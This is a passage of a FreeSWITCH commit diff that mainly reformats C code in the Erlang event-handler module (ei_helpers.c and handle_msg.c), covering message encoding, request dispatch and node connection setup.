+ ei_encode_version(msgbuf, &index); /* 1 */
+ ei_encode_tuple_header(msgbuf, &index, 3);
+ ei_encode_long(msgbuf, &index, ERL_LINK);
+ ei_encode_pid(msgbuf, &index, from); /* 268 */
+ ei_encode_pid(msgbuf, &index, to); /* 268 */
/* 5 byte header missing */
s = msgbuf;
- put32be(s, index - 4); /* 4 */
- put8(s, ERL_PASS_THROUGH); /* 1 */
+ put32be(s, index - 4); /* 4 */
+ put8(s, ERL_PASS_THROUGH); /* 1 */
/* sum: 542 */
switch_mutex_lock(listener->sock_mutex);
@@ -82,7 +83,7 @@
switch_mutex_unlock(listener->sock_mutex);
}
-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event)
{
int i;
char *uuid = switch_event_get_header(event, "unique-id");
@@ -94,7 +95,7 @@
if (event->body)
i++;
- ei_x_encode_list_header(ebuf, i+1);
+ ei_x_encode_list_header(ebuf, i + 1);
if (uuid) {
_ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
@@ -118,7 +119,7 @@
}
-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag)
+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag)
{
ei_x_encode_tuple_header(ebuf, 2);
@@ -130,7 +131,7 @@
calls module:function(Ref). The response comes back as
{rex, {Ref, Pid}}
*/
-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function)
{
ei_x_buff buf;
ei_x_new(&buf);
@@ -145,7 +146,7 @@
}
/* function to spawn a process on a remote node */
-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv)
{
int i;
ei_x_buff buf;
@@ -154,7 +155,7 @@
ei_x_encode_tuple_header(&buf, 3);
ei_x_encode_atom(&buf, "$gen_call");
ei_x_encode_tuple_header(&buf, 2);
- ei_x_encode_pid(&buf, ei_self(ec));
+ ei_x_encode_pid(&buf, ei_self(ec));
ei_init_ref(ec, ref);
ei_x_encode_ref(&buf, ref);
ei_x_encode_tuple_header(&buf, 5);
@@ -165,18 +166,18 @@
/* argument list */
if (argc < 0) {
ei_x_encode_list_header(&buf, argc);
- for(i = 0; i < argc && argv[i]; i++) {
+ for (i = 0; i < argc && argv[i]; i++) {
ei_x_encode_atom(&buf, argv[i]);
}
}
ei_x_encode_empty_list(&buf);
- /*if (i != argc - 1) {*/
- /* horked argument list */
- /*}*/
+ /*if (i != argc - 1) { */
+ /* horked argument list */
+ /*} */
- ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
+ ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
#ifdef EI_DEBUG
ei_x_print_reg_msg(&buf, "net_kernel", 1);
@@ -191,11 +192,11 @@
#define MAX_REFERENCE (1 << _REF_NUM_SIZE)
/* function to fill in an erlang reference struct */
-void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
+void ei_init_ref(ei_cnode * ec, erlang_ref * ref)
{
- memset(ref, 0, sizeof(*ref)); /* zero out the struct */
+ memset(ref, 0, sizeof(*ref)); /* zero out the struct */
snprintf(ref->node, MAXATOMLEN, "%s", ec->thisnodename);
-
+
switch_mutex_lock(globals.ref_mutex);
globals.reference0++;
if (globals.reference0 >= MAX_REFERENCE) {
@@ -212,12 +213,12 @@
switch_mutex_unlock(globals.ref_mutex);
- ref->creation = 1; /* why is this 1 */
- ref->len = 3; /* why is this 3 */
+ ref->creation = 1; /* why is this 1 */
+ ref->len = 3; /* why is this 3 */
}
-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send)
{
char *mbuf = NULL;
int i = 1;
@@ -233,7 +234,7 @@
}
-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send)
{
char *pbuf = NULL;
int i = 0;
@@ -241,7 +242,7 @@
ei_x_new(&pidbuf);
ei_x_encode_pid(&pidbuf, pid);
-
+
ei_s_print_term(&pbuf, pidbuf.buff, &i);
ei_x_print_reg_msg(buf, pbuf, send);
@@ -249,7 +250,7 @@
}
-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf)
{
int ret;
if (process->type == ERLANG_PID) {
@@ -273,19 +274,16 @@
/* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
-void ei_hash_ref(erlang_ref *ref, char *output)
+void ei_hash_ref(erlang_ref * ref, char *output)
{
/* very lazy */
sprintf(output, "%d.%d.%d@%s", ref->n[0], ref->n[1], ref->n[2], ref->node);
}
-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2)
{
- if ((!strcmp(pid1->node, pid2->node)) &&
- pid1->creation == pid2->creation &&
- pid1->num == pid2->num &&
- pid1->serial == pid2->serial) {
+ if ((!strcmp(pid1->node, pid2->node)) && pid1->creation == pid2->creation && pid1->num == pid2->num && pid1->serial == pid2->serial) {
return 0;
} else {
return 1;
@@ -293,20 +291,22 @@
}
-int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
+int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst)
+{
int type, size, res;
long len;
ei_get_type(buf, index, &type, &size);
if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {
- return -1;
+ return -1;
} else if (size > maxlen) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n", type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n",
+ type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
return -1;
} else if (type == ERL_BINARY_EXT) {
res = ei_decode_binary(buf, index, dst, &len);
- dst[len] = '\0'; /* binaries aren't null terminated */
+ dst[len] = '\0'; /* binaries aren't null terminated */
} else {
res = ei_decode_string(buf, index, dst);
}
@@ -320,12 +320,12 @@
switch_status_t rv;
struct sockaddr_in server_addr;
struct hostent *nodehost;
- char thishostname[EI_MAXHOSTNAMELEN+1] = "";
- char thisnodename[MAXNODELEN+1];
+ char thishostname[EI_MAXHOSTNAMELEN + 1] = "";
+ char thisnodename[MAXNODELEN + 1];
/* zero out the struct before we use it */
memset(&server_addr, 0, sizeof(server_addr));
-
+
/* convert the configured IP to network byte order, handing errors */
rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
if (rv == 0) {
@@ -335,18 +335,18 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error when parsing ip address %s : %s\n", prefs.ip, strerror(errno));
return SWITCH_STATUS_FALSE;
}
-
+
/* set the address family and port */
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(prefs.port);
-
+
#ifdef WIN32
- if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
+ if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
#else
- if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
+ if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
#endif
memcpy(thishostname, nodehost->h_name, EI_MAXHOSTNAMELEN);
-
+
if (zstr_buf(thishostname)) {
gethostname(thishostname, EI_MAXHOSTNAMELEN);
}
@@ -357,11 +357,11 @@
*off = '\0';
}
}
-
- snprintf(thisnodename, MAXNODELEN+1, "%s@%s", prefs.nodename, thishostname);
-
+
+ snprintf(thisnodename, MAXNODELEN + 1, "%s@%s", prefs.nodename, thishostname);
+
/* init the ei stuff */
- if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr)(&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
+ if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr) (&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
return SWITCH_STATUS_FALSE;
}
Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -37,7 +37,7 @@
static char *MARKER = "1";
-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
{
@@ -131,7 +131,7 @@
} else {
ei_x_encode_atom(&rbuf, "error");
}
-
+
_ei_x_encode_string(&rbuf, reply);
@@ -163,7 +163,7 @@
}
-static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff * buf, ei_x_buff * rbuf)
{
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
void *p;
@@ -207,26 +207,24 @@
ei_x_encode_atom(rbuf, "invalid_uuid");
}
- /*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);*/
+ /*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf); */
switch_safe_free(nbuf->buff);
switch_safe_free(nbuf);
}
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
switch_log_level_t ltype = SWITCH_LOG_DEBUG;
char loglevelstr[MAXATOMLEN];
- if (arity != 2 ||
- ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
+ if (arity != 2 || ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
ltype = switch_log_str2level(loglevelstr);
-
+
if (ltype && ltype != SWITCH_LOG_INVALID) {
listener->level = ltype;
ei_x_encode_atom(rbuf, "ok");
@@ -239,7 +237,7 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
@@ -247,19 +245,18 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
int custom = 0;
switch_event_types_t type;
int i = 0;
-
+
if (!switch_test_flag(listener, LFLAG_EVENTS)) {
switch_set_flag_locked(listener, LFLAG_EVENTS);
}
-
+
for (i = 1; i < arity; i++) {
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
-
+
if (custom) {
switch_core_hash_insert(listener->event_hash, atom, MARKER);
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
@@ -277,7 +274,7 @@
if (type == SWITCH_EVENT_CUSTOM) {
custom++;
}
-
+
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enable event %s\n", atom);
}
@@ -287,7 +284,7 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
@@ -295,20 +292,19 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
int custom = 0;
int i = 0;
switch_event_types_t type;
-
+
for (i = 1; i < arity; i++) {
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
-
+
if (custom) {
switch_core_hash_delete(listener->event_hash, atom);
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
uint32_t x = 0;
-
+
if (type == SWITCH_EVENT_CUSTOM) {
custom++;
} else if (type == SWITCH_EVENT_ALL) {
@@ -332,19 +328,16 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_api(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char api_cmd[MAXATOMLEN];
char arg[1024];
- if (arity < 3 ||
- ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
- ei_decode_string(buf->buff, &buf->index, arg)) {
+ if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
return SWITCH_STATUS_SUCCESS;
- }
- else {
+ } else {
struct api_command_struct acs = { 0 };
acs.listener = listener;
acs.api_cmd = api_cmd;
@@ -357,24 +350,21 @@
}
}
-static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char api_cmd[MAXATOMLEN];
char arg[1024];
- if (arity < 3 ||
- ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
- ei_decode_string(buf->buff, &buf->index, arg)) {
+ if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
struct api_command_struct *acs = NULL;
switch_memory_pool_t *pool;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
switch_uuid_t uuid;
-
+
switch_core_new_memory_pool(&pool);
acs = switch_core_alloc(pool, sizeof(*acs));
switch_assert(acs);
@@ -384,15 +374,15 @@
acs->arg = switch_core_strdup(acs->pool, arg);
acs->bg = 1;
acs->pid = msg->from;
-
+
switch_threadattr_create(&thd_attr, acs->pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-
+
switch_uuid_get(&uuid);
switch_uuid_format(acs->uuid_str, &uuid);
switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
-
+
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "ok");
_ei_x_encode_string(rbuf, acs->uuid_str);
@@ -400,18 +390,17 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
- char ename[MAXATOMLEN+1];
- char esname[MAXATOMLEN+1];
+ char ename[MAXATOMLEN + 1];
+ char esname[MAXATOMLEN + 1];
int headerlength;
memset(esname, 0, MAXATOMLEN);
-
+
if (ei_decode_atom(buf->buff, &buf->index, ename) ||
(!strncasecmp(ename, "CUSTOM", MAXATOMLEN) &&
- ei_decode_atom(buf->buff, &buf->index, esname)) ||
- ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
+ ei_decode_atom(buf->buff, &buf->index, esname)) || ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
@@ -420,29 +409,27 @@
if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
switch_event_t *event;
if ((strlen(esname) && switch_event_create_subclass(&event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
- switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
+ switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
char key[1024];
char value[1024];
int i = 0;
switch_bool_t fail = SWITCH_FALSE;
- while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
+ while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
i++;
- if (ei_decode_string(buf->buff, &buf->index, key) ||
- ei_decode_string(buf->buff, &buf->index, value)) {
+ if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
fail = SWITCH_TRUE;
break;
}
-
+
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
}
-
+
if (headerlength != i || fail) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
switch_event_fire(&event);
ei_x_encode_atom(rbuf, "ok");
}
@@ -452,43 +439,40 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
int headerlength;
-
+
if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
switch_core_session_t *session;
if (!zstr_buf(uuid) && (session = switch_core_session_locate(uuid))) {
- switch_event_t *event;
+ switch_event_t *event;
if (switch_event_create(&event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
-
+
char key[1024];
char value[1024];
int i = 0;
switch_bool_t fail = SWITCH_FALSE;
- while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
+ while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
i++;
- if (ei_decode_string(buf->buff, &buf->index, key) ||
- ei_decode_string(buf->buff, &buf->index, value)) {
+ if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
fail = SWITCH_TRUE;
break;
- }
+ }
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
}
-
+
if (headerlength != i || fail) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
if (switch_core_session_queue_private_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
ei_x_encode_atom(rbuf, "ok");
} else {
@@ -496,7 +480,7 @@
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
}
-
+
}
}
/* release the lock returned by session locate */
@@ -511,19 +495,17 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
/* format is (result|config|directory|dialplan|phrases) */
char sectionstr[MAXATOMLEN];
switch_xml_section_t section;
- if (ei_decode_atom(buf->buff, &buf->index, sectionstr) ||
- !(section = switch_xml_parse_section_string(sectionstr))) {
+ if (ei_decode_atom(buf->buff, &buf->index, sectionstr) || !(section = switch_xml_parse_section_string(sectionstr))) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
struct erlang_binding *binding, *ptr;
if (!(binding = switch_core_alloc(listener->pool, sizeof(*binding)))) {
@@ -531,8 +513,7 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
- }
- else {
+ } else {
binding->section = section;
binding->process.type = ERLANG_PID;
binding->process.pid = msg->from;
@@ -547,7 +528,7 @@
} else {
bindings.head = binding;
}
-
+
switch_xml_set_binding_sections(bindings.search_binding, switch_xml_get_binding_sections(bindings.search_binding) | section);
switch_mutex_unlock(globals.listener_mutex);
@@ -564,13 +545,13 @@
or
{handlecall,<uuid>} to send messages back to the sender
*/
-static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char reg_name[MAXATOMLEN];
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
if (arity < 2 || arity > 3 ||
- (arity==3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
+ (arity == 3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -580,8 +561,8 @@
if (!zstr_buf(uuid_str)) {
if ((session = switch_core_session_locate(uuid_str))) {
/* create a new session list element and attach it to this listener */
- if ((arity==2 && attach_call_to_pid(listener, &msg->from, session)) ||
- (arity==3 && attach_call_to_registered_process(listener, reg_name, session))) {
+ if ((arity == 2 && attach_call_to_pid(listener, &msg->from, session)) ||
+ (arity == 3 && attach_call_to_registered_process(listener, reg_name, session))) {
ei_x_encode_atom(rbuf, "ok");
} else {
ei_x_encode_tuple_header(rbuf, 2);
@@ -607,17 +588,17 @@
/* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
The {Ref,Pid} bit can be handled by handle_ref_tuple
*/
-static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
int type, size, arity2, tmpindex;
ei_get_type(buf->buff, &buf->index, &type, &size);
- switch(type) {
- case ERL_SMALL_TUPLE_EXT :
- case ERL_LARGE_TUPLE_EXT :
+ switch (type) {
+ case ERL_SMALL_TUPLE_EXT:
+ case ERL_LARGE_TUPLE_EXT:
tmpindex = buf->index;
ei_decode_tuple_header(buf->buff, &tmpindex, &arity2);
- return handle_ref_tuple(listener,msg,buf,rbuf);
+ return handle_ref_tuple(listener, msg, buf, rbuf);
default:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unknown rpc response\n");
break;
@@ -626,7 +607,7 @@
return SWITCH_STATUS_FALSE;
}
-static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
char tupletag[MAXATOMLEN];
int arity;
@@ -637,30 +618,29 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else {
+ } else {
if (!strncmp(tupletag, "fetch_reply", MAXATOMLEN)) {
- ret = handle_msg_fetch_reply(listener,buf,rbuf);
+ ret = handle_msg_fetch_reply(listener, buf, rbuf);
} else if (!strncmp(tupletag, "set_log_level", MAXATOMLEN)) {
- ret = handle_msg_set_log_level(listener,arity,buf,rbuf);
+ ret = handle_msg_set_log_level(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "event", MAXATOMLEN)) {
- ret = handle_msg_event(listener,arity,buf,rbuf);
+ ret = handle_msg_event(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "nixevent", MAXATOMLEN)) {
- ret = handle_msg_nixevent(listener,arity,buf,rbuf);
+ ret = handle_msg_nixevent(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "api", MAXATOMLEN)) {
- ret = handle_msg_api(listener,msg,arity,buf,rbuf);
+ ret = handle_msg_api(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "bgapi", MAXATOMLEN)) {
- ret = handle_msg_bgapi(listener,msg,arity,buf,rbuf);
+ ret = handle_msg_bgapi(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "sendevent", MAXATOMLEN)) {
- ret = handle_msg_sendevent(listener,arity,buf,rbuf);
+ ret = handle_msg_sendevent(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "sendmsg", MAXATOMLEN)) {
- ret = handle_msg_sendmsg(listener,arity,buf,rbuf);
+ ret = handle_msg_sendmsg(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "bind", MAXATOMLEN)) {
- ret = handle_msg_bind(listener,msg,buf,rbuf);
+ ret = handle_msg_bind(listener, msg, buf, rbuf);
} else if (!strncmp(tupletag, "handlecall", MAXATOMLEN)) {
- ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
+ ret = handle_msg_handlecall(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "rex", MAXATOMLEN)) {
- ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
+ ret = handle_msg_rpcresponse(listener, msg, arity, buf, rbuf);
} else {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -670,7 +650,7 @@
return ret;
}
-static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
switch_status_t ret = SWITCH_STATUS_SUCCESS;
@@ -679,8 +659,7 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
- }
- else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
+ } else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
if (switch_test_flag(listener, LFLAG_LOG)) {
void *pop;
/*purge the log queue */
@@ -707,7 +686,7 @@
void *pop;
/*purge the event queue */
while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS);
-
+
if (switch_test_flag(listener, LFLAG_EVENTS)) {
uint8_t x = 0;
switch_clear_flag_locked(listener, LFLAG_EVENTS);
@@ -739,12 +718,12 @@
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "undef");
}
-
+
return ret;
}
-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
erlang_ref ref;
erlang_pid *pid;
@@ -765,17 +744,17 @@
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
return SWITCH_STATUS_SUCCESS;
- }
+ }
if (ei_decode_pid(buf->buff, &buf->index, pid)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid pid in a reference/pid tuple\n");
return SWITCH_STATUS_FALSE;
}
-
+
ei_hash_ref(&ref, hash);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hashed ref to %s\n", hash);
-
+
if ((p = switch_core_hash_find(listener->spawn_pid_hash, hash))) {
if (p == &globals.TIMEOUT) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", hash);
@@ -788,7 +767,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", hash);
switch_core_hash_delete(listener->spawn_pid_hash, hash);
switch_core_hash_insert(listener->spawn_pid_hash, hash, pid);
- return SWITCH_STATUS_FALSE; /*no reply */
+ return SWITCH_STATUS_FALSE; /*no reply */
} else {
